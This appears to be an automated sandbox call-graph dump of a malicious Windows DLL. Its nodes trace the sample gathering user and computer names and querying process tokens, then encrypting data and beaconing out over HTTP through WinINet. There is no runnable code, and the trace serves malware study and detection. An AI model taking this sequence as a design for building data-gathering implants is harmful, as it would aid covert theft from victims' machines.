6cb73770 43 API calls 21458->21459 21460 6cb74224 21459->21460 21462 6cb72730 task 41 API calls 21460->21462 21461->21435 21463 6cb74233 GetCommandLineA 21462->21463 21464 6cb72490 _Error_objects 43 API calls 21463->21464 21465 6cb74245 21464->21465 21466 6cb73770 43 API calls 21465->21466 21467 6cb74258 21466->21467 21468 6cb72730 task 41 API calls 21467->21468 21469 6cb74267 21468->21469 21470 6cb73420 41 API calls 21469->21470 21470->21378 21473 6cb738dc swap task _Max_value _Error_objects 21471->21473 21472 6cb739b3 swap task _Error_objects 21472->21344 21473->21472 21476 6cb731f0 43 API calls allocator 21473->21476 21475->21342 21476->21472 21477->21348 21478->21435 21479 6cb7abdf 21480 6cb7abf7 21479->21480 21481 6cb75040 43 API calls 21480->21481 21482 6cb7ac0f 21481->21482 21483 6cb73a70 43 API calls 21482->21483 21485 6cb7ac1f 21483->21485 21484 6cb73a70 43 API calls 21493 6cb7ac90 21484->21493 21485->21484 21486 6cb7ad4d 21521 6cb72420 43 API calls 3 library calls 21486->21521 21488 6cb7ad67 21489 6cb72750 __DllMainCRTStartup@12 41 API calls 21488->21489 21490 6cb7ad82 21489->21490 21491 6cb72750 __DllMainCRTStartup@12 41 API calls 21490->21491 21492 6cb7ad91 21491->21492 21494 6cb72750 __DllMainCRTStartup@12 41 API calls 21492->21494 21493->21486 21498 6cb72730 task 41 API calls 21493->21498 21520 6cb74e30 43 API calls 3 library calls 21493->21520 21496 6cb7ad9d 21494->21496 21497 6cb72730 task 41 API calls 21496->21497 21499 6cb7adac 21497->21499 21498->21493 21500 6cb72730 task 41 API calls 21499->21500 21501 6cb7adbb 21500->21501 21502 6cb72730 task 41 API calls 21501->21502 21503 6cb7adca 21502->21503 21504 6cb72730 task 41 API calls 21503->21504 21505 6cb7add9 21504->21505 21506 6cb72730 task 41 API calls 21505->21506 21507 6cb7ade8 21506->21507 21508 6cb72730 task 41 API calls 21507->21508 21509 6cb7adf7 21508->21509 21510 6cb72730 task 41 API calls 21509->21510 21511 6cb7ae06 21510->21511 21512 6cb72730 task 41 API calls 21511->21512 21513 6cb7ae15 21512->21513 21514 6cb72730 task 41 API calls 21513->21514 21515 6cb7ae24 21514->21515 21516 6cb72730 task 41 API calls 21515->21516 21517 6cb7ae33 21516->21517 21518 6cb72730 task 41 API calls 21517->21518 21519 6cb7ae45 21518->21519 21520->21493 21521->21488 21522 27c1056 21523 27c1086 InterlockedDecrement 21522->21523 21524 27c1063 21522->21524 21525 27c107e 21523->21525 21527 27c1095 21523->21527 21524->21525 21526 27c1066 InterlockedIncrement 21524->21526 21526->21525 21528 27c1075 21526->21528 21541 27c3230 SetEvent SleepEx CloseHandle HeapDestroy 21527->21541 21531 27c5006 HeapCreate 21528->21531 21532 27c501e 21531->21532 21533 27c5023 GetTickCount 21531->21533 21532->21525 21542 27c54d8 CreateEventA 21533->21542 21541->21525 21543 27c54ef GetVersion 21542->21543 21544 27c5547 GetLastError 21542->21544 21546 27c54f9 21543->21546 21545 27c5037 21544->21545 21545->21532 21549 27c213e 21545->21549 21547 27c5506 GetCurrentProcessId OpenProcess 21546->21547 21548 27c5537 21546->21548 21547->21548 21548->21545 21550 27c214f SwitchToThread GetSystemTimeAsFileTime _aullrem 21549->21550 21590 27c6269 21550->21590 21553 27c219e 21553->21532 21554 27c6392 21553->21554 21555 27c504d 21554->21555 21556 27c63aa GetModuleHandleA GetProcAddress 21554->21556 21557 27c2523 21555->21557 21556->21555 21600 27c4520 GetModuleHandleA 21557->21600 21561 27c25e5 21561->21532 21564 27c25a4 21610 27c415a GetSystemTimeAsFileTime _aulldiv _snwprintf CreateFileMappingW 21564->21610 21567 27c25be 21569 27c25ea 21567->21569 21574 27c25c6 21567->21574 21568 27c25b5 CloseHandle 21568->21567 21618 27c27a0 21569->21618 21574->21561 21709 27c23c4 9 API calls 21574->21709 21575 27c2605 21576 27c260e memset RtlInitializeCriticalSection 21575->21576 21577 27c2638 21575->21577 21576->21577 21577->21561 21578 27c2645 RtlAllocateHeap 21577->21578 21579 27c265d wsprintfA 21578->21579 21580 27c268b 21578->21580 21579->21580 21580->21561 21626 27c3bd3 21580->21626 21586 27c26da 21586->21561 21693 27c6815 memset CreateWaitableTimerA 21586->21693 21591 27c6286 21590->21591 21592 27c2186 Sleep 21591->21592 21598 27c33dc RtlAllocateHeap 21591->21598 21592->21550 21592->21553 21594 27c62f6 21594->21592 21595 27c6303 memcpy 21594->21595 21596 27c631b 21595->21596 21596->21592 21599 27c61da RtlFreeHeap 21596->21599 21598->21594 21599->21592 21601 27c253b 21600->21601 21601->21561 21602 27c3037 21601->21602 21711 27c421f NtOpenProcess 21602->21711 21605 27c3092 21608 27c2580 21605->21608 21723 27c5e40 21605->21723 21609 27c4332 ConvertStringSecurityDescriptorToSecurityDescriptorA 21608->21609 21609->21564 21611 27c420f GetLastError 21610->21611 21612 27c41c9 GetLastError 21610->21612 21615 27c25b1 21611->21615 21613 27c41dd MapViewOfFile 21612->21613 21614 27c41d8 21612->21614 21613->21615 21617 27c41fe GetLastError 21613->21617 21616 27c4206 CloseHandle 21614->21616 21615->21567 21615->21568 21616->21615 21617->21615 21617->21616 21741 27c33dc RtlAllocateHeap 21618->21741 21620 27c27ba 21621 27c27c0 GetVersionExA 21620->21621 21622 27c25ef 21620->21622 21623 27c27d3 wsprintfA 21621->21623 21625 27c33dc RtlAllocateHeap 21622->21625 21623->21622 21625->21575 21627 27c3be9 21626->21627 21628 27c3c05 GetUserNameW 21627->21628 21629 27c3c57 21627->21629 21630 27c3c66 GetComputerNameW 21628->21630 21631 27c3c17 RtlAllocateHeap 21628->21631 21629->21630 21632 27c3c7f RtlAllocateHeap 21630->21632 21633 27c26ab 21630->21633 21631->21630 21634 27c3c29 GetUserNameW 21631->21634 21632->21633 21635 27c3c92 GetComputerNameW 21632->21635 21640 27c1d8a 21633->21640 21636 27c3c38 21634->21636 21637 27c3c46 HeapFree 21634->21637 21638 27c3cac HeapFree 21635->21638 21639 27c3c9d 21635->21639 21636->21637 21637->21630 21638->21633 21639->21638 21742 27c10f8 21640->21742 21642 27c1da8 21643 27c10f8 2 API calls 21642->21643 21644 27c1dd5 21643->21644 21645 27c2045 21644->21645 21646 27c10f8 2 API calls 21644->21646 21645->21561 21676 27c6ea3 21645->21676 21648 27c1df6 21646->21648 21647 27c2032 HeapFree 21647->21645 21648->21647 21649 27c1e29 StrToIntExA 21648->21649 21650 27c1e35 21648->21650 21649->21650 21651 27c1e5b StrToIntExA 21650->21651 21652 27c1e67 21650->21652 21651->21652 21653 27c1e8d StrToIntExA 21652->21653 21654 27c1e99 21652->21654 21653->21654 21655 27c1ebf StrToIntExA 21654->21655 21656 27c1ecb 21654->21656 21655->21656 21657 27c1ef1 StrToIntExA 21656->21657 21658 27c1efd 21656->21658 21657->21658 21659 27c1f23 StrToIntExA 21658->21659 21660 27c1f2f 21658->21660 21659->21660 21663 27c1f6f 21660->21663 21747 27c5b85 RtlAllocateHeap lstrlen memcpy memset 21660->21747 21662 27c1f65 21662->21663 21664 27c1f69 21662->21664 21668 27c1fa8 21663->21668 21749 27c5b85 RtlAllocateHeap lstrlen memcpy memset 21663->21749 21748 27c607c RtlEnterCriticalSection Sleep HeapFree RtlLeaveCriticalSection 21664->21748 21667 27c1f95 21667->21668 21669 27c1f99 21667->21669 21672 27c1fcf 21668->21672 21751 27c5b85 RtlAllocateHeap lstrlen memcpy memset 21668->21751 21750 27c5364 8 API calls 21669->21750 21673 27c200e HeapFree 21672->21673 21752 27c5b85 RtlAllocateHeap lstrlen memcpy memset 21672->21752 21673->21647 21677 27c10f8 2 API calls 21676->21677 21678 27c6ed4 21677->21678 21692 27c26bb 21678->21692 21755 27c7040 6 API calls 21678->21755 21680 27c6eeb 21680->21692 21756 27c61da RtlFreeHeap 21680->21756 21682 27c6efc 21757 27c6536 RtlAllocateHeap lstrlen mbstowcs memset 21682->21757 21684 27c6f0a 21684->21692 21758 27c6536 RtlAllocateHeap lstrlen mbstowcs memset 21684->21758 21686 27c6f1b 21686->21692 21759 27c6536 RtlAllocateHeap lstrlen mbstowcs memset 21686->21759 21688 27c6f2c 21688->21692 21760 27c74ec 6 API calls 21688->21760 21690 27c6f4b 21690->21692 21761 27c74ec 6 API calls 21690->21761 21692->21561 21692->21586 21710 27c5c31 57 API calls 21692->21710 21694 27c684d _allmul SetWaitableTimer WaitForMultipleObjects 21693->21694 21695 27c69c8 GetLastError 21693->21695 21697 27c68ac 21694->21697 21701 27c6930 21694->21701 21696 27c69d2 21695->21696 21696->21561 21698 27c68b6 21697->21698 21762 27c5251 21697->21762 21698->21701 21704 27c691c 21698->21704 21705 27c698f _allmul SetWaitableTimer WaitForMultipleObjects 21698->21705 21782 27c35d2 wsprintfA 21698->21782 21796 27c63f6 RtlEnterCriticalSection Sleep RtlLeaveCriticalSection 21698->21796 21700 27c693d HeapFree 21700->21701 21701->21700 21702 27c6951 CloseHandle 21701->21702 21702->21696 21795 27c69e6 79 API calls 21704->21795 21705->21698 21705->21701 21708 27c692c 21708->21701 21709->21574 21710->21586 21712 27c4270 NtOpenProcessToken 21711->21712 21713 27c3063 21711->21713 21714 27c42d8 NtClose 21712->21714 21715 27c4283 NtQueryInformationToken 21712->21715 21713->21605 21736 27c4b4f RtlAllocateHeap RtlFreeHeap lstrlenW memcpy memset 21713->21736 21714->21713 21737 27c33dc RtlAllocateHeap 21715->21737 21717 27c429f 21718 27c42ce NtClose 21717->21718 21719 27c42a5 NtQueryInformationToken 21717->21719 21718->21714 21720 27c42c8 21719->21720 21721 27c42b8 memcpy 21719->21721 21738 27c61da RtlFreeHeap 21720->21738 21721->21720 21724 27c5ef9 21723->21724 21725 27c5e61 OpenProcessToken 21723->21725 21724->21608 21725->21724 21726 27c5e7c GetTokenInformation GetTokenInformation 21725->21726 21727 27c5eef CloseHandle 21726->21727 21728 27c5ea9 21726->21728 21727->21724 21739 27c33dc RtlAllocateHeap 21728->21739 21730 27c5eb2 21731 27c5eee 21730->21731 21732 27c5eb8 GetTokenInformation 21730->21732 21731->21727 21733 27c5ee8 21732->21733 21734 27c5ecb GetSidSubAuthorityCount GetSidSubAuthority 21732->21734 21740 27c61da RtlFreeHeap 21733->21740 21734->21733 21736->21605 21737->21717 21738->21718 21739->21730 21740->21731 21741->21620 21745 27c115e 21742->21745 21744 27c1211 21744->21642 21745->21744 21753 27c33dc RtlAllocateHeap 21745->21753 21754 27c61da RtlFreeHeap 21745->21754 21747->21662 21748->21663 21749->21667 21750->21668 21751->21672 21752->21673 21753->21745 21754->21745 21755->21680 21756->21682 21757->21684 21758->21686 21759->21688 21760->21690 21761->21692 21797 27c6adc 21762->21797 21767 27c5298 StrToIntExW 21769 27c52b8 21767->21769 21770 27c5341 21767->21770 21768 27c5351 21771 27c535d 21768->21771 21814 27c7220 RtlFreeHeap 21768->21814 21810 27c5de4 RtlAllocateHeap lstrlenW lstrlenW memcpy memcpy 21769->21810 21774 27c5344 HeapFree 21770->21774 21771->21698 21774->21768 21775 27c52d0 21775->21774 21811 27c5157 14 API calls 21775->21811 21777 27c52ed 21778 27c5311 21777->21778 21812 27c5157 14 API calls 21777->21812 21813 27c5b0e 9 API calls 21778->21813 21781 27c5332 HeapFree 21781->21774 21783 27c3644 21782->21783 21784 27c3606 RtlAllocateHeap 21782->21784 21844 27c3ce0 RtlAllocateHeap 21783->21844 21785 27c3623 21784->21785 21790 27c363b 21784->21790 21883 27c2b91 92 API calls 21785->21883 21788 27c3639 21788->21790 21789 27c3699 21789->21698 21790->21789 21884 27c77a5 41 API calls 21790->21884 21792 27c367a 21792->21789 21885 27c63f6 RtlEnterCriticalSection Sleep RtlLeaveCriticalSection 21792->21885 21794 27c368a HeapFree 21794->21789 21795->21708 21796->21698 21815 27c33dc RtlAllocateHeap 21797->21815 21799 27c6ae8 21801 27c5269 21799->21801 21816 27c61da RtlFreeHeap 21799->21816 21802 27c33f1 21801->21802 21803 27c33fb 21802->21803 21804 27c340a 21802->21804 21817 27c2839 21803->21817 21807 27c3438 21804->21807 21824 27c58bd 9 API calls 21804->21824 21807->21767 21807->21768 21808 27c342b 21808->21807 21809 27c3446 HeapFree 21808->21809 21809->21807 21810->21775 21811->21777 21812->21778 21813->21781 21814->21771 21815->21799 21816->21801 21825 27c790b 21817->21825 21819 27c28a4 21819->21804 21822 27c288e SysFreeString 21822->21819 21824->21808 21826 27c792d 21825->21826 21827 27c2879 21826->21827 21834 27c4358 21826->21834 21827->21819 21833 27c661c RtlAllocateHeap lstrlenW memcpy memset 21827->21833 21829 27c79ec 21829->21827 21831 27c79f1 SysFreeString 21829->21831 21830 27c79e7 SysFreeString 21830->21829 21831->21827 21832 27c7950 21832->21827 21832->21829 21832->21830 21833->21822 21835 27c4395 21834->21835 21836 27c4421 21835->21836 21837 27c43c7 21835->21837 21838 27c43ab SysAllocString 21835->21838 21836->21832 21839 27c43ef SysAllocString 21837->21839 21840 27c43be 21837->21840 21841 27c4401 21837->21841 21838->21837 21838->21840 21839->21841 21840->21836 21842 27c4418 SysFreeString 21840->21842 21841->21836 21841->21840 21843 27c440c SysFreeString 21841->21843 21842->21836 21843->21840 21845 27c3d18 21844->21845 21846 27c3f97 21844->21846 21847 27c3d1c GetTickCount 21845->21847 21848 27c3d24 wsprintfA 21845->21848 21846->21790 21847->21848 21886 27c467f QueryPerformanceFrequency QueryPerformanceCounter _aulldiv 21848->21886 21850 27c3d77 wsprintfA 21851 27c3d95 wsprintfA 21850->21851 21852 27c3db0 wsprintfA 21850->21852 21851->21852 21887 27c472f GetComputerNameExA 21852->21887 21855 27c3dfa 21895 27c1340 GetUserNameW 21855->21895 21856 27c3dd3 wsprintfA HeapFree 21856->21855 21859 27c3e2c 21907 27c6b59 21859->21907 21860 27c3e05 wsprintfA HeapFree 21860->21859 21863 27c3e4e wsprintfA 21864 27c3e63 21863->21864 21865 27c3e6d RtlAllocateHeap 21864->21865 21866 27c3f89 RtlFreeHeap 21864->21866 21867 27c3f78 HeapFree 21865->21867 21868 27c3e89 GetTickCount 21865->21868 21866->21846 21867->21866 21914 27c2915 21868->21914 21873 27c3f6a RtlFreeHeap 21873->21867 21874 27c3ee7 StrTrimA 21937 27c7563 lstrlen lstrlen 21874->21937 21877 27c3f5c HeapFree 21877->21873 21878 27c3f01 lstrcpy lstrcpy lstrcat lstrcat 21942 27c21a6 21878->21942 21881 27c3f48 HeapFree 21881->21877 21883->21788 21884->21792 21885->21794 21886->21850 21888 27c4750 21887->21888 21893 27c3dcd 21887->21893 21952 27c33dc RtlAllocateHeap 21888->21952 21890 27c4757 21891 27c475d GetComputerNameExA 21890->21891 21890->21893 21892 27c476a 21891->21892 21891->21893 21953 27c61da RtlFreeHeap 21892->21953 21893->21855 21893->21856 21896 27c140d 21895->21896 21897 27c1365 GetComputerNameW 21895->21897 21896->21859 21896->21860 21897->21896 21898 27c1381 21897->21898 21954 27c33dc RtlAllocateHeap 21898->21954 21900 27c1395 21901 27c139b GetUserNameW 21900->21901 21906 27c13fd 21900->21906 21902 27c13b4 GetComputerNameW 21901->21902 21903 27c1405 21901->21903 21902->21903 21905 27c13d7 WideCharToMultiByte 21902->21905 21955 27c61da RtlFreeHeap 21903->21955 21905->21903 21905->21906 21906->21896 21908 27c6b6c RtlEnterCriticalSection RtlLeaveCriticalSection 21907->21908 21909 27c6b66 21907->21909 21911 27c6ba0 21908->21911 21913 27c3e3f 21908->21913 21956 27c236c RtlEnterCriticalSection Sleep RtlLeaveCriticalSection 21909->21956 21957 27c5b85 RtlAllocateHeap lstrlen memcpy memset 21911->21957 21913->21863 21913->21864 21915 27c2919 RtlEnterCriticalSection RtlLeaveCriticalSection 21914->21915 21916 27c6675 21915->21916 21958 27c5815 21916->21958 21919 27c3ece 21919->21873 21919->21874 21920 27c6698 lstrlen lstrlen 21972 27c33dc RtlAllocateHeap 21920->21972 21922 27c66b7 21923 27c66bd strcpy lstrcat 21922->21923 21936 27c6714 21922->21936 21973 27c5063 lstrlen 21923->21973 21928 27c66e1 StrTrimA 21981 27c4ac7 RtlAllocateHeap lstrlen _snprintf 21928->21981 21930 27c66f3 21931 27c66ff 21930->21931 21982 27c61da RtlFreeHeap 21930->21982 21983 27c2708 lstrlen RtlAllocateHeap memcpy memcpy 21931->21983 21934 27c6708 21934->21936 21984 27c61da RtlFreeHeap 21934->21984 21985 27c61da RtlFreeHeap 21936->21985 22015 27c33dc RtlAllocateHeap 21937->22015 21939 27c7587 21940 27c758d lstrcpy lstrcat 21939->21940 21941 27c3ef9 21939->21941 21940->21941 21941->21877 21941->21878 21947 27c21c6 21942->21947 21945 27c2266 21945->21881 21951 27c63f6 RtlEnterCriticalSection Sleep RtlLeaveCriticalSection 21945->21951 21946 27c2250 WaitForSingleObject 21946->21945 21946->21947 21950 27c21ed 21947->21950 22016 27c51d8 21947->22016 22029 27c4be7 21947->22029 22051 27c7843 memset CreateEventA CreateEventA CloseHandle 21947->22051 21950->21945 21950->21946 21950->21947 22052 27c5498 10 API calls 21950->22052 21951->21881 21952->21890 21953->21893 21954->21900 21955->21906 21956->21908 21957->21913 21986 27c42e9 21958->21986 21960 27c5865 21961 27c58b3 21960->21961 21962 27c42e9 RtlAllocateHeap 21960->21962 21961->21919 21961->21920 21963 27c5873 21962->21963 21964 27c5879 lstrlen 21963->21964 21965 27c58ab 21963->21965 21989 27c33dc RtlAllocateHeap 21964->21989 21991 27c61da RtlFreeHeap 21965->21991 21968 27c588e 21969 27c58a5 21968->21969 21970 27c5895 sprintf 21968->21970 21990 27c61da RtlFreeHeap 21969->21990 21970->21969 21972->21922 21993 27c1508 CryptAcquireContextW 21973->21993 21976 27c50b1 21980 27c61da RtlFreeHeap 21976->21980 21978 27c5099 22012 27c61da RtlFreeHeap 21978->22012 21980->21928 21981->21930 21982->21931 21983->21934 21984->21936 21985->21919 21992 27c33dc RtlAllocateHeap 21986->21992 21988 27c42f3 21988->21960 21988->21988 21989->21968 21990->21965 21991->21961 21992->21988 21994 27c154e memcpy CryptImportKey 21993->21994 21995 27c169f GetLastError 21993->21995 21997 27c168a GetLastError 21994->21997 21998 27c1590 CryptSetKeyParam 21994->21998 21996 27c16a8 21995->21996 21996->21976 22011 27c33dc RtlAllocateHeap 21996->22011 21999 27c1693 CryptReleaseContext 21997->21999 22000 27c15a8 21998->22000 22001 27c1676 GetLastError 21998->22001 21999->21996 22013 27c33dc RtlAllocateHeap 22000->22013 22002 27c167f CryptDestroyKey 22001->22002 22002->21999 22004 27c15e5 memcpy 22005 27c1604 CryptEncrypt 22004->22005 22006 27c15bf 22004->22006 22005->22006 22006->22004 22007 27c1644 GetLastError 22006->22007 22008 27c1642 22006->22008 22007->22008 22009 27c1663 22007->22009 22008->22002 22014 27c61da RtlFreeHeap 22009->22014 22011->21978 22012->21976 22013->22006 22014->22008 22015->21939 22017 27c51e9 22016->22017 22018 27c51f7 22016->22018 22076 27c2058 8 API calls 22017->22076 22022 27c524a GetLastError 22018->22022 22053 27c7b83 lstrlen 22018->22053 22027 27c524c 22022->22027 22023 27c5208 ResetEvent ResetEvent HttpSendRequestA 22025 27c522f GetLastError 22023->22025 22026 27c523a SetEvent 22023->22026 22024 27c5245 22024->22022 22024->22027 22025->22024 22028 27c5238 22025->22028 22026->22028 22027->21947 22028->22024 22030 27c4bfe 22029->22030 22031 27c4bf4 22029->22031 22033 27c4c1c 22030->22033 22034 27c4c13 InternetSetStatusCallback InternetCloseHandle 22030->22034 22081 27c16b2 WaitForMultipleObjects 22031->22081 22035 27c4c2c 22033->22035 22036 27c4c23 InternetSetStatusCallback InternetCloseHandle 22033->22036 22034->22033 22037 27c4c3c 22035->22037 22038 27c4c33 InternetSetStatusCallback InternetCloseHandle 22035->22038 22036->22035 22039 27c4c4c 22037->22039 22040 27c4c49 CloseHandle 22037->22040 22038->22037 22041 27c4c56 22039->22041 22042 27c4c53 CloseHandle 22039->22042 22040->22039 22043 27c4c65 22041->22043 22082 27c61da RtlFreeHeap 22041->22082 22042->22041 22045 27c4c78 22043->22045 22083 27c61da RtlFreeHeap 22043->22083 22047 27c4c84 22045->22047 22084 27c61da RtlFreeHeap 22045->22084 22049 27c4c91 22047->22049 22085 27c61da RtlFreeHeap 22047->22085 22049->21950 22051->21947 22052->21950 22077 27c33dc RtlAllocateHeap 22053->22077 22055 27c7ba7 22056 27c7baf InternetCanonicalizeUrlA 22055->22056 22057 27c7bd5 InternetOpenA 22055->22057 22058 27c7bcf 22056->22058 22059 27c7bc2 22056->22059 22060 27c7cd4 GetLastError 22057->22060 22061 27c7bf1 InternetSetStatusCallback 22057->22061 22079 27c61da RtlFreeHeap 22058->22079 22078 27c61da RtlFreeHeap 22059->22078 22075 27c5204 22060->22075 22061->22060 22064 27c7c06 ResetEvent InternetConnectA 22061->22064 22066 27c7c4f HttpOpenRequestA 22064->22066 22067 27c7c29 GetLastError 22064->22067 22065 27c7bca 22065->22057 22066->22060 22069 27c7c7c InternetQueryOptionA 22066->22069 22067->22060 22068 27c7c3a 22067->22068 22080 27c16b2 WaitForMultipleObjects 22068->22080 22071 27c7c9d InternetSetOptionA 22069->22071 22072 27c7cb0 InternetSetOptionA 22069->22072 22071->22072 22072->22060 22074 27c7cc0 InternetSetOptionA 22072->22074 22073 27c7c47 22073->22060 22073->22066 22074->22060 22074->22075 22075->22023 22075->22024 22076->22018 22077->22055 22078->22065 22079->22057 22080->22073 22081->22030 22082->22043 22083->22045 22084->22047 22085->22049 22086 6cb7901c 22087 6cb7902c 22086->22087 22088 6cb87640 43 API calls 22087->22088 22089 6cb799ad 22088->22089 22148 6cb8f372 22089->22148 22092 6cb72730 task 41 API calls 22093 6cb79a56 22092->22093 22094 6cb72730 task 41 API calls 22093->22094 22095 6cb79a65 22094->22095 22096 6cb73a70 43 API calls 22095->22096 22097 6cb79a77 22096->22097 22098 6cb75040 43 API calls 22097->22098 22099 6cb79a89 22098->22099 22100 6cb73a70 43 API calls 22099->22100 22101 6cb79a9b 22100->22101 22102 6cb75040 43 API calls 22101->22102 22103 6cb79aac 22102->22103 22104 6cb73420 41 API calls 22103->22104 22108 6cb79ab7 std::ios_base::good 22104->22108 22105 6cb79c83 22106 6cb75040 43 API calls 22105->22106 22107 6cb79c95 22106->22107 22109 6cb73420 41 API calls 22107->22109 22108->22105 22111 6cb72730 task 41 API calls 22108->22111 22110 6cb79ca0 22109->22110 22167 6cb72420 43 API calls 3 library calls 22110->22167 22123 6cb79b35 22111->22123 22113 6cb79cba 22114 6cb72750 __DllMainCRTStartup@12 41 API calls 22113->22114 22115 6cb79cd8 22114->22115 22116 6cb72750 __DllMainCRTStartup@12 41 API calls 22115->22116 22117 6cb79ce7 22116->22117 22118 6cb72750 __DllMainCRTStartup@12 41 API calls 22117->22118 22119 6cb79cf6 22118->22119 22120 6cb72730 task 41 API calls 22119->22120 22121 6cb79d05 22120->22121 22122 6cb72730 task 41 API calls 22121->22122 22124 6cb79d14 22122->22124 22128 6cb72730 task 41 API calls 22123->22128 22125 6cb72730 task 41 API calls 22124->22125 22126 6cb79d23 22125->22126 22127 6cb72730 task 41 API calls 22126->22127 22129 6cb79d32 22127->22129 22130 6cb79c65 22128->22130 22131 6cb72730 task 41 API calls 22129->22131 22132 6cb72730 task 41 API calls 22130->22132 22133 6cb79d41 22131->22133 22134 6cb79c74 22132->22134 22135 6cb72730 task 41 API calls 22133->22135 22136 6cb72730 task 41 API calls 22134->22136 22137 6cb79d50 22135->22137 22136->22105 22138 6cb72730 task 41 API calls 22137->22138 22139 6cb79d5f 22138->22139 22140 6cb72730 task 41 API calls 22139->22140 22141 6cb79d6e 22140->22141 22142 6cb72730 task 41 API calls 22141->22142 22143 6cb79d7d 22142->22143 22144 6cb72730 task 41 API calls 22143->22144 22145 6cb79d8c 22144->22145 22146 6cb72730 task 41 API calls 22145->22146 22147 6cb79d9e 22146->22147 22168 6cb8f2bb 22148->22168 22153 6cb8f3ba 22155 6cb8f29e 17 API calls 22153->22155 22154 6cb8f3ae 22176 6cb913c9 14 API calls __dosmaperr 22154->22176 22158 6cb8f3d9 22155->22158 22157 6cb8f3b3 22163 6cb79a1f 22157->22163 22164 6cb91657 ___free_lconv_mon 14 API calls 22157->22164 22159 6cb8f3ee 22158->22159 22160 6cb8f3e2 22158->22160 22178 6cb91b2a 16 API calls __dosmaperr 22159->22178 22177 6cb913c9 14 API calls __dosmaperr 22160->22177 22163->22092 22164->22163 22165 6cb8f3e7 22165->22157 22166 6cb91657 ___free_lconv_mon 14 API calls 22165->22166 22166->22157 22167->22113 22179 6cb8ec8b 22168->22179 22172 6cb8f2df 22173 6cb8f29e 22172->22173 22191 6cb8f1ec 22173->22191 22176->22157 22177->22165 22178->22165 22180 6cb8eca9 22179->22180 22181 6cb8eca2 22179->22181 22180->22181 22188 6cb90dcc 41 API calls 3 library calls 22180->22188 22181->22172 22187 6cb918e9 LoadLibraryExW GetLastError LoadLibraryExW FreeLibrary GetProcAddress 22181->22187 22183 6cb8ecca 22189 6cb91270 41 API calls ___scrt_uninitialize_crt 22183->22189 22185 6cb8ece0 22190 6cb912ce 41 API calls ___scrt_uninitialize_crt 22185->22190 22187->22172 22188->22183 22189->22185 22190->22181 22192 6cb8f1fa 22191->22192 22193 6cb8f214 22191->22193 22209 6cb8f2fa 14 API calls ___free_lconv_mon 22192->22209 22195 6cb8f23a 22193->22195 22196 6cb8f21b 22193->22196 22211 6cb91691 MultiByteToWideChar 22195->22211 22197 6cb8f204 22196->22197 22210 6cb8f314 15 API calls 22196->22210 22197->22153 22197->22154 22200 6cb8f249 22201 6cb8f250 GetLastError 22200->22201 22207 6cb8f276 22200->22207 22214 6cb8f314 15 API calls 22200->22214 22212 6cb9136f 14 API calls __dosmaperr 22201->22212 22203 6cb8f25c 22213 6cb913c9 14 API calls __dosmaperr 22203->22213 22207->22197 22215 6cb91691 MultiByteToWideChar 22207->22215 22208 6cb8f28d 22208->22197 22208->22201 22209->22197 22210->22197 22211->22200 22212->22203 22213->22197 22214->22207 22215->22208 22216 6cb84a95 22218 6cb84aab 22216->22218 22217 6cb84aef 22220 6cb73420 41 API calls 22217->22220 22218->22217 22219 6cb75040 43 API calls 22218->22219 22219->22217 22221 6cb84af9 22220->22221 22222 6cb75040 43 API calls 22221->22222 22223 6cb84b05 22222->22223 22224 6cb72730 task 41 API calls 22223->22224 22225 6cb84b41 22224->22225 22226 6cb75040 43 API calls 22225->22226 22227 6cb84b4d 22226->22227 22229 6cb72730 task 41 API calls 22227->22229 22230 6cb74e30 43 API calls 3 library calls 22227->22230 22229->22227 22230->22227 22231 6cb826d6 22232 6cb826df 22231->22232 22233 6cb82835 22232->22233 22238 6cb826f0 22232->22238 22234 6cb8291b 22233->22234 22235 6cb72490 _Error_objects 43 API calls 22233->22235 22236 6cb75040 43 API calls 22234->22236 22244 6cb82859 22235->22244 22237 6cb82928 22236->22237 22239 6cb75040 43 API calls 22237->22239 22282 6cb74e30 43 API calls 3 library calls 22238->22282 22242 6cb82934 std::ios_base::good 22239->22242 22241 6cb8299f 22243 6cb75040 43 API calls 22241->22243 22242->22241 22245 6cb79e20 43 API calls 22242->22245 22251 6cb829ac 22243->22251 22246 6cb72730 task 41 API calls 22244->22246 22248 6cb8294d 22245->22248 22247 6cb828e5 GetCurrentThreadId 22246->22247 22249 6cb75040 43 API calls 22247->22249 22250 6cb73a70 43 API calls 22248->22250 22249->22234 22252 6cb82993 22250->22252 22255 6cb75040 43 API calls 22251->22255 22254 6cb75040 43 API calls 22252->22254 22253 6cb82777 22283 6cb74e30 43 API calls 3 library calls 22253->22283 22254->22241 22277 6cb82a0e std::ios_base::good 22255->22277 22257 6cb82816 22258 6cb72730 task 41 API calls 22257->22258 22259 6cb82821 22258->22259 22261 6cb72730 task 41 API calls 22259->22261 22260 6cb75040 43 API calls 22266 6cb8388b 22260->22266 22262 6cb82830 22261->22262 22263 6cb838db 22264 6cb73420 41 API calls 22263->22264 22265 6cb838e5 22264->22265 22267 6cb87640 43 API calls 22265->22267 22266->22263 22268 6cb72490 _Error_objects 43 API calls 22266->22268 22270 6cb72730 task 41 API calls 22266->22270 22269 6cb838f8 22267->22269 22268->22266 22271 6cb79e20 43 API calls 22269->22271 22270->22266 22272 6cb83927 22271->22272 22273 6cb72730 task 41 API calls 22272->22273 22275 6cb83936 22273->22275 22274 6cb72490 _Error_objects 43 API calls 22274->22275 22275->22274 22276 6cb72730 task 41 API calls 22275->22276 22276->22275 22278 6cb83082 StrToIntA 22277->22278 22279 6cb8309e 22277->22279 22281 6cb8384a 22277->22281 22278->22279 22280 6cb73a70 43 API calls 22279->22280 22279->22281 22280->22281 22281->22260 22282->22253 22283->22257 22284 6cb75805 22287 6cb75815 22284->22287 22285 6cb75040 43 API calls 22286 6cb75d2c 22285->22286 22288 6cb87640 43 API calls 22286->22288 22287->22285 22289 6cb75d49 _Error_objects 22288->22289 22290 6cb72730 task 41 API calls 22289->22290 22291 6cb75d6d 22290->22291 22292 6cb72730 task 41 API calls 22291->22292 22293 6cb75da8 22292->22293 22294 6cb75040 43 API calls 22293->22294 22295 6cb75dc9 22294->22295 22296 6cb73420 41 API calls 22295->22296 22297 6cb75dd4 22296->22297 22298 6cb72750 __DllMainCRTStartup@12 41 API calls 22297->22298 22299 6cb75dfc 22298->22299 22300 6cb72750 __DllMainCRTStartup@12 41 API calls 22299->22300 22301 6cb75e0b 22300->22301 22302 6cb72730 task 41 API calls 22301->22302 22303 6cb75e1a 22302->22303 22304 6cb72730 task 41 API calls 22303->22304 22305 6cb75e29 22304->22305 22306 6cb72730 task 41 API calls 22305->22306 22307 6cb75e3b 22306->22307 22308 6cb7f945 22309 6cb7f955 22308->22309 22310 6cb7fc01 PathFileExistsW 